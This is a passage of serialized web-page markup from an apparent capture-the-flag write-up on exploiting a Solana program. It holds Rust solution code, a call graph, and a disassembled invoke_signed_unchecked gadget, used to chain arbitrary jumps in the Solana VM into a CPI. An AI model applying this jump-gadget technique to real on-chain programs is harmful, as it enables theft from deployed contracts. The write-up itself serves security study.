AccountMeta",{"type":23,"tag":139,"props":41454,"children":41455},{"style":982},[41456],{"type":28,"value":1461},{"type":23,"tag":139,"props":41458,"children":41459},{"style":245},[41460],{"type":28,"value":13134},{"type":23,"tag":139,"props":41462,"children":41463},{"style":259},[41464],{"type":28,"value":262},{"type":23,"tag":139,"props":41466,"children":41467},{"style":982},[41468],{"type":28,"value":2573},{"type":23,"tag":139,"props":41470,"children":41471},{"style":294},[41472],{"type":28,"value":41473},"user_ai",{"type":23,"tag":139,"props":41475,"children":41476},{"style":982},[41477],{"type":28,"value":73},{"type":23,"tag":139,"props":41479,"children":41480},{"style":259},[41481],{"type":28,"value":41482},"key, ",{"type":23,"tag":139,"props":41484,"children":41485},{"style":279},[41486],{"type":28,"value":1993},{"type":23,"tag":139,"props":41488,"children":41489},{"style":259},[41490],{"type":28,"value":4739},{"type":23,"tag":139,"props":41492,"children":41493},{"class":141,"line":1676},[41494,41498,41502,41506,41510,41514,41519,41523,41527,41531],{"type":23,"tag":139,"props":41495,"children":41496},{"style":259},[41497],{"type":28,"value":41452},{"type":23,"tag":139,"props":41499,"children":41500},{"style":982},[41501],{"type":28,"value":1461},{"type":23,"tag":139,"props":41503,"children":41504},{"style":245},[41505],{"type":28,"value":13134},{"type":23,"tag":139,"props":41507,"children":41508},{"style":259},[41509],{"type":28,"value":262},{"type":23,"tag":139,"props":41511,"children":41512},{"style":982},[41513],{"type":28,"value":2573},{"type":23,"tag":139,"props":41515,"children":41516},{"style":294},[41517],{"type":28,"value":41518},"flag_pda_ai",{"type":23,"tag":139,"props":41520,"children":41521},{"style":982},[41522],{"type":28,"value":73},{"type":23,"tag":139,"props":41524,"children":41525},{"style":259},[41526],{"type":28,"value":41482},{"type":23,"tag":139,"props":41528,"children":41529},{"style":279},[41530],{"type":28,"value":1993},{"type":23,"tag":139,"props":41532,"children":41533},{"style":259},[41534],{"type":28,"value":4739},{"type":23,"tag":139,"props":41536,"children":41537},{"class":141,"line":1745},[41538],{"type":23,"tag":139,"props":41539,"children":41540},{"style":259},[41541],{"type":28,"value":41542},"        ],\n",{"type":23,"tag":139,"props":41544,"children":41545},{"class":141,"line":1753},[41546],{"type":23,"tag":139,"props":41547,"children":41548},{"style":259},[41549],{"type":28,"value":41550},"    );\n",{"type":23,"tag":139,"props":41552,"children":41553},{"class":141,"line":1783},[41554,41558],{"type":23,"tag":139,"props":41555,"children":41556},{"style":245},[41557],{"type":28,"value":39020},{"type":23,"tag":139,"props":41559,"children":41560},{"style":259},[41561],{"type":28,"value":1443},{"type":23,"tag":139,"props":41563,"children":41564},{"class":141,"line":1791},[41565,41569,41574],{"type":23,"tag":139,"props":41566,"children":41567},{"style":982},[41568],{"type":28,"value":1451},{"type":23,"tag":139,"props":41570,"children":41571},{"style":294},[41572],{"type":28,"value":41573},"instruction",{"type":23,"tag":139,"props":41575,"children":41576},{"style":259},[41577],{"type":28,"value":1488},{"type":23,"tag":139,"props":41579,"children":41580},{"class":141,"line":1823},[41581,41585],{"type":23,"tag":139,"props":41582,"children":41583},{"style":982},[41584],{"type":28,"value":1451},{"type":23,"tag":139,"props":41586,"children":41587},{"style":259},[41588],{"type":28,"value":41444},{"type":23,"tag":139,"props":41590,"children":41591},{"class":141,"line":1831},[41592,41597,41601,41605],{"type":23,"tag":139,"props":41593,"children":41594},{"style":294},[41595],{"type":28,"value":41596},"            user_ai",{"type":23,"tag":139,"props":41598,"children":41599},{"style":982},[41600],{"type":28,"value":73},{"type":23,"tag":139,"props":41602,"children":41603},{"style":245},[41604],{"type":28,"value":13432},{"type":23,"tag":139,"props":41606,"children":41607},{"style":259},[41608],{"type":28,"value":1471},{"type":23,"tag":139,"props":41610,"children":41611},{"class":141,"line":1891},[41612,41617,41621,41625],{"type":23,"tag":139,"props":41613,"children":41614},{"style":294},[41615],{"type":28,"value":41616},"            flag_pda_ai",{"type":23,"tag":139,"props":41618,"children":41619},{"style":982},[41620],{"type":28,"value":73},{"type":23,"tag":139,"props":41622,"children":41623},{"style":245},[41624],{"type":28,"value":13432},{"type":23,"tag":139,"props":41626,"children":41627},{"style":259},[41628],{"type":28,"value":1471},{"type":23,"tag":139,"props":41630,"children":41631},{"class":141,"line":7053},[41632],{"type":23,"tag":139,"props":41633,"children":41634},{"style":259},[41635],{"type":28,"value":41542},{"type":23,"tag":139,"props":41637,"children":41638},{"class":141,"line":7071},[41639,41643,41647,41651,41655,41659,41663,41667],{"type":23,"tag":139,"props":41640,"children":41641},{"style":982},[41642],{"type":28,"value":1451},{"type":23,"tag":139,"props":41644,"children":41645},{"style":259},[41646],{"type":28,"value":1723},{"type":23,"tag":139,"props":41648,"children":41649},{"style":982},[41650],{"type":28,"value":1085},{"type":23,"tag":139,"props":41652,"children":41653},{"style":259},[41654],{"type":28,"value":1723},{"type":23,"tag":139,"props":41656,"children":41657},{"style":265},[41658],{"type":28,"value":40515},{"type":23,"tag":139,"props":41660,"children":41661},{"style":982},[41662],{"type":28,"value":73},{"type":23,"tag":139,"props":41664,"children":41665},{"style":245},[41666],{"type":28,"value":40524},{"type":23,"tag":139,"props":41668,"children":41669},{"style":259},[41670],{"type":28,"value":41671},"()]],\n",{"type":23,"tag":139,"props":41673,"children":41674},{"class":141,"line":7116},[41675,41679,41683],{"type":23,"tag":139,"props":41676,"children":41677},{"style":259},[41678],{"type":28,"value":1642},{"type":23,"tag":139,"props":41680,"children":41681},{"style":982},[41682],{"type":28,"value":1132},{"type":23,"tag":139,"props":41684,"children":41685},{"style":259},[41686],{"type":28,"value":995},{"type":23,"tag":139,"props":41688,"children":41689},{"class":141,"line":7222},[41690],{"type":23,"tag":139,"props":41691,"children":41692},{"emptyLinePlaceholder":15},[41693],{"type":28,"value":184},{"type":23,"tag":139,"props":41695,"children":41696},{"class":141,"line":21518},[41697],{"type":23,"tag":139,"props":41698,"children":41699},{"style":958},[41700],{"type":28,"value":41701},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":23,"tag":139,"props":41703,"children":41704},{"class":141,"line":21553},[41705,41710,41714,41718,41722,41726,41730,41734,41738,41742,41746,41751,41755,41759,41764,41768,41772,41777],{"type":23,"tag":139,"props":41706,"children":41707},{"style":294},[41708],{"type":28,"value":41709},"    flag_pda_ai",{"type":23,"tag":139,"props":41711,"children":41712},{"style":982},[41713],{"type":28,"value":73},{"type":23,"tag":139,"props":41715,"children":41716},{"style":245},[41717],{"type":28,"value":11885},{"type":23,"tag":139,"props":41719,"children":41720},{"style":259},[41721],{"type":28,"value":11890},{"type":23,"tag":139,"props":41723,"children":41724},{"style":982},[41725],{"type":28,"value":1132},{"type":23,"tag":139,"props":41727,"children":41728},{"style":259},[41729],{"type":28,"value":1723},{"type":23,"tag":139,"props":41731,"children":41732},{"style":982},[41733],{"type":28,"value":1024},{"type":23,"tag":139,"props":41735,"children":41736},{"style":1016},[41737],{"type":28,"value":2075},{"type":23,"tag":139,"props":41739,"children":41740},{"style":259},[41741],{"type":28,"value":13423},{"type":23,"tag":139,"props":41743,"children":41744},{"style":982},[41745],{"type":28,"value":73},{"type":23,"tag":139,"props":41747,"children":41748},{"style":245},[41749],{"type":28,"value":41750},"copy_from_slice",{"type":23,"tag":139,"props":41752,"children":41753},{"style":259},[41754],{"type":28,"value":262},{"type":23,"tag":139,"props":41756,"children":41757},{"style":982},[41758],{"type":28,"value":1085},{"type":23,"tag":139,"props":41760,"children":41761},{"style":1016},[41762],{"type":28,"value":41763},"0x4337",{"type":23,"tag":139,"props":41765,"children":41766},{"style":305},[41767],{"type":28,"value":6046},{"type":23,"tag":139,"props":41769,"children":41770},{"style":982},[41771],{"type":28,"value":73},{"type":23,"tag":139,"props":41773,"children":41774},{"style":245},[41775],{"type":28,"value":41776},"to_le_bytes",{"type":23,"tag":139,"props":41778,"children":41779},{"style":259},[41780],{"type":28,"value":13437},{"type":23,"tag":139,"props":41782,"children":41783},{"class":141,"line":21561},[41784],{"type":23,"tag":139,"props":41785,"children":41786},{"emptyLinePlaceholder":15},[41787],{"type":28,"value":184},{"type":23,"tag":139,"props":41789,"children":41790},{"class":141,"line":21569},[41791,41795],{"type":23,"tag":139,"props":41792,"children":41793},{"style":305},[41794],{"type":28,"value":12344},{"type":23,"tag":139,"props":41796,"children":41797},{"style":259},[41798],{"type":28,"value":12349},{"type":23,"tag":139,"props":41800,"children":41801},{"class":141,"line":21578},[41802],{"type":23,"tag":139,"props":41803,"children":41804},{"style":259},[41805],{"type":28,"value":1897},{"type":23,"tag":24,"props":41807,"children":41808},{},[41809],{"type":28,"value":41810},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":23,"tag":24,"props":41812,"children":41813},{},[41814],{"type":23,"tag":429,"props":41815,"children":41818},{"alt":41816,"src":41817},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":23,"tag":24,"props":41820,"children":41821},{},[41822],{"type":28,"value":41823},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":23,"tag":41,"props":41825,"children":41827},{"id":41826},"solution-implementation",[41828],{"type":28,"value":41829},"Solution Implementation",{"type":23,"tag":24,"props":41831,"children":41832},{},[41833,41835,41840],{"type":28,"value":41834},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":23,"tag":135,"props":41836,"children":41838},{"className":41837},[],[41839],{"type":28,"value":33571},{"type":28,"value":41841}," invocations:",{"type":23,"tag":128,"props":41843,"children":41847},{"className":41844,"code":41845,"language":41846,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[41848],{"type":23,"tag":135,"props":41849,"children":41850},{"__ignoreMap":7},[41851,41859,41867,41875,41883,41891,41899],{"type":23,"tag":139,"props":41852,"children":41853},{"class":141,"line":142},[41854],{"type":23,"tag":139,"props":41855,"children":41856},{},[41857],{"type":28,"value":41858},"graph LR\n",{"type":23,"tag":139,"props":41860,"children":41861},{"class":141,"line":151},[41862],{"type":23,"tag":139,"props":41863,"children":41864},{},[41865],{"type":28,"value":41866},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":23,"tag":139,"props":41868,"children":41869},{"class":141,"line":160},[41870],{"type":23,"tag":139,"props":41871,"children":41872},{},[41873],{"type":28,"value":41874},"    B --> C[2: process]\n",{"type":23,"tag":139,"props":41876,"children":41877},{"class":141,"line":169},[41878],{"type":23,"tag":139,"props":41879,"children":41880},{},[41881],{"type":28,"value":41882},"    C --> D[3: gadget1]\n",{"type":23,"tag":139,"props":41884,"children":41885},{"class":141,"line":178},[41886],{"type":23,"tag":139,"props":41887,"children":41888},{},[41889],{"type":28,"value":41890},"    C --> E[3: process]\n",{"type":23,"tag":139,"props":41892,"children":41893},{"class":141,"line":187},[41894],{"type":23,"tag":139,"props":41895,"children":41896},{},[41897],{"type":28,"value":41898},"    E --> F[4: gadget2]\n",{"type":23,"tag":139,"props":41900,"children":41901},{"class":141,"line":196},[41902],{"type":23,"tag":139,"props":41903,"children":41904},{},[41905],{"type":28,"value":41906},"    E --> G[...]\n",{"type":23,"tag":24,"props":41908,"children":41909},{},[41910],{"type":28,"value":41911},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":23,"tag":24,"props":41913,"children":41914},{},[41915,41917,41923],{"type":28,"value":41916},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":23,"tag":64,"props":41918,"children":41920},{"href":38378,"rel":41919},[68],[41921],{"type":28,"value":41922},"Binary Ninja",{"type":28,"value":41924}," to find a suitable gadget for this.",{"type":23,"tag":24,"props":41926,"children":41927},{},[41928,41930,41937],{"type":28,"value":41929},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":23,"tag":64,"props":41931,"children":41934},{"href":41932,"rel":41933},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[68],[41935],{"type":28,"value":41936},"skip the strip pass",{"type":28,"value":73},{"type":23,"tag":666,"props":41939,"children":41941},{"id":41940},"cpi-gadget",[41942],{"type":28,"value":41943},"CPI Gadget",{"type":23,"tag":24,"props":41945,"children":41946},{},[41947,41949,41954,41956,41963,41965,41971],{"type":28,"value":41948},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":23,"tag":135,"props":41950,"children":41952},{"className":41951},[],[41953],{"type":28,"value":36186},{"type":28,"value":41955}," function. This function calls into the solana sdk's function ",{"type":23,"tag":64,"props":41957,"children":41960},{"href":41958,"rel":41959},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[68],[41961],{"type":28,"value":41962},"invoke_signed_unchecked",{"type":28,"value":41964},", yielding a powerful gadget at the address ",{"type":23,"tag":135,"props":41966,"children":41968},{"className":41967},[],[41969],{"type":28,"value":41970},"0x100001ba8",{"type":28,"value":73},{"type":23,"tag":128,"props":41973,"children":41975},{"className":948,"code":41974,"language":947,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[41976],{"type":23,"tag":135,"props":41977,"children":41978},{"__ignoreMap":7},[41979,42004,42060,42111,42163,42215,42238,42286,42293,42325,42376,42434,42468,42475,42524,42554,42629,42636,42687,42733,42740,42771,42822,42852,42874,42881,42932,42977,42984,43035,43063,43084,43091],{"type":23,"tag":139,"props":41980,"children":41981},{"class":141,"line":142},[41982,41986,41990,41995,41999],{"type":23,"tag":139,"props":41983,"children":41984},{"style":259},[41985],{"type":28,"value":11664},{"type":23,"tag":139,"props":41987,"children":41988},{"style":982},[41989],{"type":28,"value":1461},{"type":23,"tag":139,"props":41991,"children":41992},{"style":259},[41993],{"type":28,"value":41994},"program",{"type":23,"tag":139,"props":41996,"children":41997},{"style":982},[41998],{"type":28,"value":1461},{"type":23,"tag":139,"props":42000,"children":42001},{"style":294},[42002],{"type":28,"value":42003},"invoke_signed_unchecked\n",{"type":23,"tag":139,"props":42005,"children":42006},{"class":141,"line":151},[42007,42012,42017,42022,42027,42032,42037,42041,42046,42051,42056],{"type":23,"tag":139,"props":42008,"children":42009},{"style":294},[42010],{"type":28,"value":42011},"100001ba8",{"type":23,"tag":139,"props":42013,"children":42014},{"style":294},[42015],{"type":28,"value":42016},"  79a278ff00000000",{"type":23,"tag":139,"props":42018,"children":42019},{"style":294},[42020],{"type":28,"value":42021},"   ldxdw",{"type":23,"tag":139,"props":42023,"children":42024},{"style":294},[42025],{"type":28,"value":42026}," r2",{"type":23,"tag":139,"props":42028,"children":42029},{"style":259},[42030],{"type":28,"value":42031},", [",{"type":23,"tag":139,"props":42033,"children":42034},{"style":294},[42035],{"type":28,"value":42036},"r10",{"type":23,"tag":139,"props":42038,"children":42039},{"style":982},[42040],{"type":28,"value":2328},{"type":23,"tag":139,"props":42042,"children":42043},{"style":1016},[42044],{"type":28,"value":42045},"136",{"type":23,"tag":139,"props":42047,"children":42048},{"style":259},[42049],{"type":28,"value":42050},"] {",{"type":23,"tag":139,"props":42052,"children":42053},{"style":294},[42054],{"type":28,"value":42055},"var_88",{"type":23,"tag":139,"props":42057,"children":42058},{"style":259},[42059],{"type":28,"value":1897},{"type":23,"tag":139,"props":42061,"children":42062},{"class":141,"line":160},[42063,42068,42073,42077,42082,42086,42090,42094,42098,42102,42107],{"type":23,"tag":139,"props":42064,"children":42065},{"style":294},[42066],{"type":28,"value":42067},"100001bb0",{"type":23,"tag":139,"props":42069,"children":42070},{"style":294},[42071],{"type":28,"value":42072},"  79a380ff00000000",{"type":23,"tag":139,"props":42074,"children":42075},{"style":294},[42076],{"type":28,"value":42021},{"type":23,"tag":139,"props":42078,"children":42079},{"style":294},[42080],{"type":28,"value":42081}," r3",{"type":23,"tag":139,"props":42083,"children":42084},{"style":259},[42085],{"type":28,"value":42031},{"type":23,"tag":139,"props":42087,"children":42088},{"style":294},[42089],{"type":28,"value":42036},{"type":23,"tag":139,"props":42091,"children":42092},{"style":982},[42093],{"type":28,"value":2328},{"type":23,"tag":139,"props":42095,"children":42096},{"style":1016},[42097],{"type":28,"value":27867},{"type":23,"tag":139,"props":42099,"children":42100},{"style":259},[42101],{"type":28,"value":42050},{"type":23,"tag":139,"props":42103,"children":42104},{"style":294},[42105],{"type":28,"value":42106},"var_80",{"type":23,"tag":139,"props":42108,"children":42109},{"style":259},[42110],{"type":28,"value":1897},{"type":23,"tag":139,"props":42112,"children":42113},{"class":141,"line":169},[42114,42119,42124,42128,42133,42137,42141,42145,42150,42154,42159],{"type":23,"tag":139,"props":42115,"children":42116},{"style":294},[42117],{"type":28,"value":42118},"100001bb8",{"type":23,"tag":139,"props":42120,"children":42121},{"style":294},[42122],{"type":28,"value":42123},"  79a468ff00000000",{"type":23,"tag":139,"props":42125,"children":42126},{"style":294},[42127],{"type":28,"value":42021},{"type":23,"tag":139,"props":42129,"children":42130},{"style":294},[42131],{"type":28,"value":42132}," r4",{"type":23,"tag":139,"props":42134,"children":42135},{"style":259},[42136],{"type":28,"value":42031},{"type":23,"tag":139,"props":42138,"children":42139},{"style":294},[42140],{"type":28,"value":42036},{"type":23,"tag":139,"props":42142,"children":42143},{"style":982},[42144],{"type":28,"value":2328},{"type":23,"tag":139,"props":42146,"children":42147},{"style":1016},[42148],{"type":28,"value":42149},"152",{"type":23,"tag":139,"props":42151,"children":42152},{"style":259},[42153],{"type":28,"value":42050},{"type":23,"tag":139,"props":42155,"children":42156},{"style":294},[42157],{"type":28,"value":42158},"var_98",{"type":23,"tag":139,"props":42160,"children":42161},{"style":259},[42162],{"type":28,"value":1897},{"type":23,"tag":139,"props":42164,"children":42165},{"class":141,"line":178},[42166,42171,42176,42180,42185,42189,42193,42197,42202,42206,42211],{"type":23,"tag":139,"props":42167,"children":42168},{"style":294},[42169],{"type":28,"value":42170},"100001bc0",{"type":23,"tag":139,"props":42172,"children":42173},{"style":294},[42174],{"type":28,"value":42175},"  79a570ff00000000",{"type":23,"tag":139,"props":42177,"children":42178},{"style":294},[42179],{"type":28,"value":42021},{"type":23,"tag":139,"props":42181,"children":42182},{"style":294},[42183],{"type":28,"value":42184}," r5",{"type":23,"tag":139,"props":42186,"children":42187},{"style":259},[42188],{"type":28,"value":42031},{"type":23,"tag":139,"props":42190,"children":42191},{"style":294},[42192],{"type":28,"value":42036},{"type":23,"tag":139,"props":42194,"children":42195},{"style":982},[42196],{"type":28,"value":2328},{"type":23,"tag":139,"props":42198,"children":42199},{"style":1016},[42200],{"type":28,"value":42201},"144",{"type":23,"tag":139,"props":42203,"children":42204},{"style":259},[42205],{"type":28,"value":42050},{"type":23,"tag":139,"props":42207,"children":42208},{"style":294},[42209],{"type":28,"value":42210},"var_90",{"type":23,"tag":139,"props":42212,"children":42213},{"style":259},[42214],{"type":28,"value":1897},{"type":23,"tag":139,"props":42216,"children":42217},{"class":141,"line":187},[42218,42223,42228,42233],{"type":23,"tag":139,"props":42219,"children":42220},{"style":294},[42221],{"type":28,"value":42222},"100001bc8",{"type":23,"tag":139,"props":42224,"children":42225},{"style":1016},[42226],{"type":28,"value":42227},"  8520000020100000",{"type":23,"tag":139,"props":42229,"children":42230},{"style":294},[42231],{"type":28,"value":42232},"   call",{"type":23,"tag":139,"props":42234,"children":42235},{"style":294},[42236],{"type":28,"value":42237}," sol_invoke_signed_rust\n",{"type":23,"tag":139,"props":42239,"children":42240},{"class":141,"line":196},[42241,42246,42251,42256,42260,42264,42268,42272,42277,42281],{"type":23,"tag":139,"props":42242,"children":42243},{"style":294},[42244],{"type":28,"value":42245},"100001bd0",{"type":23,"tag":139,"props":42247,"children":42248},{"style":1016},[42249],{"type":28,"value":42250},"  5500040000000000",{"type":23,"tag":139,"props":42252,"children":42253},{"style":294},[42254],{"type":28,"value":42255},"   jne",{"type":23,"tag":139,"props":42257,"children":42258},{"style":259},[42259],{"type":28,"value":6724},{"type":23,"tag":139,"props":42261,"children":42262},{"style":982},[42263],{"type":28,"value":2382},{"type":23,"tag":139,"props":42265,"children":42266},{"style":1016},[42267],{"type":28,"value":15541},{"type":23,"tag":139,"props":42269,"children":42270},{"style":259},[42271],{"type":28,"value":3823},{"type":23,"tag":139,"props":42273,"children":42274},{"style":294},[42275],{"type":28,"value":42276},"r0",{"type":23,"tag":139,"props":42278,"children":42279},{"style":259},[42280],{"type":28,"value":1052},{"type":23,"tag":139,"props":42282,"children":42283},{"style":1016},[42284],{"type":28,"value":42285},"0x0\n",{"type":23,"tag":139,"props":42287,"children":42288},{"class":141,"line":205},[42289],{"type":23,"tag":139,"props":42290,"children":42291},{"emptyLinePlaceholder":15},[42292],{"type":28,"value":184},{"type":23,"tag":139,"props":42294,"children":42295},{"class":141,"line":214},[42296,42301,42306,42311,42316,42320],{"type":23,"tag":139,"props":42297,"children":42298},{"style":294},[42299],{"type":28,"value":42300},"100001bd8",{"type":23,"tag":139,"props":42302,"children":42303},{"style":294},[42304],{"type":28,"value":42305},"  b701000018000000",{"type":23,"tag":139,"props":42307,"children":42308},{"style":294},[42309],{"type":28,"value":42310},"   mov",{"type":23,"tag":139,"props":42312,"children":42313},{"style":294},[42314],{"type":28,"value":42315}," r1",{"type":23,"tag":139,"props":42317,"children":42318},{"style":259},[42319],{"type":28,"value":1052},{"type":23,"tag":139,"props":42321,"children":42322},{"style":1016},[42323],{"type":28,"value":42324},"0x18\n",{"type":23,"tag":139,"props":42326,"children":42327},{"class":141,"line":1320},[42328,42333,42338,42342,42346,42350,42354,42358,42363,42367,42372],{"type":23,"tag":139,"props":42329,"children":42330},{"style":294},[42331],{"type":28,"value":42332},"100001be0",{"type":23,"tag":139,"props":42334,"children":42335},{"style":294},[42336],{"type":28,"value":42337},"  79a288ff00000000",{"type":23,"tag":139,"props":42339,"children":42340},{"style":294},[42341],{"type":28,"value":42021},{"type":23,"tag":139,"props":42343,"children":42344},{"style":294},[42345],{"type":28,"value":42026},{"type":23,"tag":139,"props":42347,"children":42348},{"style":259},[42349],{"type":28,"value":42031},{"type":23,"tag":139,"props":42351,"children":42352},{"style":294},[42353],{"type":28,"value":42036},{"type":23,"tag":139,"props":42355,"children":42356},{"style":982},[42357],{"type":28,"value":2328},{"type":23,"tag":139,"props":42359,"children":42360},{"style":1016},[42361],{"type":28,"value":42362},"120",{"type":23,"tag":139,"props":42364,"children":42365},{"style":259},[42366],{"type":28,"value":42050},{"type":23,"tag":139,"props":42368,"children":42369},{"style":294},[42370],{"type":28,"value":42371},"var_78",{"type":23,"tag":139,"props":42373,"children":42374},{"style":259},[42375],{"type":28,"value":1897},{"type":23,"tag":139,"props":42377,"children":42378},{"class":141,"line":1329},[42379,42384,42389,42394,42398,42403,42407,42411,42415,42420,42425,42430],{"type":23,"tag":139,"props":42380,"children":42381},{"style":294},[42382],{"type":28,"value":42383},"100001be8",{"type":23,"tag":139,"props":42385,"children":42386},{"style":1016},[42387],{"type":28,"value":42388},"  6312000000000000",{"type":23,"tag":139,"props":42390,"children":42391},{"style":294},[42392],{"type":28,"value":42393},"   stxw",{"type":23,"tag":139,"props":42395,"children":42396},{"style":259},[42397],{"type":28,"value":21041},{"type":23,"tag":139,"props":42399,"children":42400},{"style":294},[42401],{"type":28,"value":42402},"r2",{"type":23,"tag":139,"props":42404,"children":42405},{"style":982},[42406],{"type":28,"value":2328},{"type":23,"tag":139,"props":42408,"children":42409},{"style":1016},[42410],{"type":28,"value":2021},{"type":23,"tag":139,"props":42412,"children":42413},{"style":259},[42414],{"type":28,"value":21069},{"type":23,"tag":139,"props":42416,"children":42417},{"style":294},[42418],{"type":28,"value":42419},"r1",{"type":23,"tag":139,"props":42421,"children":42422},{"style":259},[42423],{"type":28,"value":42424},"  {",{"type":23,"tag":139,"props":42426,"children":42427},{"style":1016},[42428],{"type":28,"value":42429},"0x18",{"type":23,"tag":139,"props":42431,"children":42432},{"style":259},[42433],{"type":28,"value":1897},{"type":23,"tag":139,"props":42435,"children":42436},{"class":141,"line":1580},[42437,42442,42447,42452,42456,42460,42464],{"type":23,"tag":139,"props":42438,"children":42439},{"style":294},[42440],{"type":28,"value":42441},"100001bf0",{"type":23,"tag":139,"props":42443,"children":42444},{"style":1016},[42445],{"type":28,"value":42446},"  0500030000000000",{"type":23,"tag":139,"props":42448,"children":42449},{"style":294},[42450],{"type":28,"value":42451},"   ja",{"type":23,"tag":139,"props":42453,"children":42454},{"style":259},[42455],{"type":28,"value":6724},{"type":23,"tag":139,"props":42457,"children":42458},{"style":982},[42459],{"type":28,"value":2382},{"type":23,"tag":139,"props":42461,"children":42462},{"style":1016},[42463],{"type":28,"value":15308},{"type":23,"tag":139,"props":42465,"children":42466},{"style":259},[42467],{"type":28,"value":3995},{"type":23,"tag":139,"props":42469,"children":42470},{"class":141,"line":1597},[42471],{"type":23,"tag":139,"props":42472,"children":42473},{"emptyLinePlaceholder":15},[42474],{"type":28,"value":184},{"type":23,"tag":139,"props":42476,"children":42477},{"class":141,"line":1614},[42478,42483,42488,42492,42496,42500,42504,42508,42512,42516,42520],{"type":23,"tag":139,"props":42479,"children":42480},{"style":294},[42481],{"type":28,"value":42482},"100001bf8",{"type":23,"tag":139,"props":42484,"children":42485},{"style":294},[42486],{"type":28,"value":42487},"  79a188ff00000000",{"type":23,"tag":139,"props":42489,"children":42490},{"style":294},[42491],{"type":28,"value":42021},{"type":23,"tag":139,"props":42493,"children":42494},{"style":294},[42495],{"type":28,"value":42315},{"type":23,"tag":139,"props":42497,"children":42498},{"style":259},[42499],{"type":28,"value":42031},{"type":23,"tag":139,"props":42501,"children":42502},{"style":294},[42503],{"type":28,"value":42036},{"type":23,"tag":139,"props":42505,"children":42506},{"style":982},[42507],{"type":28,"value":2328},{"type":23,"tag":139,"props":42509,"children":42510},{"style":1016},[42511],{"type":28,"value":42362},{"type":23,"tag":139,"props":42513,"children":42514},{"style":259},[42515],{"type":28,"value":42050},{"type":23,"tag":139,"props":42517,"children":42518},{"style":294},[42519],{"type":28,"value":42371},{"type":23,"tag":139,"props":42521,"children":42522},{"style":259},[42523],{"type":28,"value":1897},{"type":23,"tag":139,"props":42525,"children":42526},{"class":141,"line":1627},[42527,42532,42537,42541,42545,42549],{"type":23,"tag":139,"props":42528,"children":42529},{"style":294},[42530],{"type":28,"value":42531},"100001c00",{"type":23,"tag":139,"props":42533,"children":42534},{"style":294},[42535],{"type":28,"value":42536},"  bf02000000000000",{"type":23,"tag":139,"props":42538,"children":42539},{"style":294},[42540],{"type":28,"value":42310},{"type":23,"tag":139,"props":42542,"children":42543},{"style":294},[42544],{"type":28,"value":42026},{"type":23,"tag":139,"props":42546,"children":42547},{"style":259},[42548],{"type":28,"value":1052},{"type":23,"tag":139,"props":42550,"children":42551},{"style":294},[42552],{"type":28,"value":42553},"r0\n",{"type":23,"tag":139,"props":42555,"children":42556},{"class":141,"line":1636},[42557,42562,42567,42571,42576,42580,42585,42589,42593,42598,42602,42606,42611,42616,42620,42624],{"type":23,"tag":139,"props":42558,"children":42559},{"style":294},[42560],{"type":28,"value":42561},"100001c08",{"type":23,"tag":139,"props":42563,"children":42564},{"style":1016},[42565],{"type":28,"value":42566},"  8510000075000000",{"type":23,"tag":139,"props":42568,"children":42569},{"style":294},[42570],{"type":28,"value":42232},{"type":23,"tag":139,"props":42572,"children":42573},{"style":305},[42574],{"type":28,"value":42575}," 